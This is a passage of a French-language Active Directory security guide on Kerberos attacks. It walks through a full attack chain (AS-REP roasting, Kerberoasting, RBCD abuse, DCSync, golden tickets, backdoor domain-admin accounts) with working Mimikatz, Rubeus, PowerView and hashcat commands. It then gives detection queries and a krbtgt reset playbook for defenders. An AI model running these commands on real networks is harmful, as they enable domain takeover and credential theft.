kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled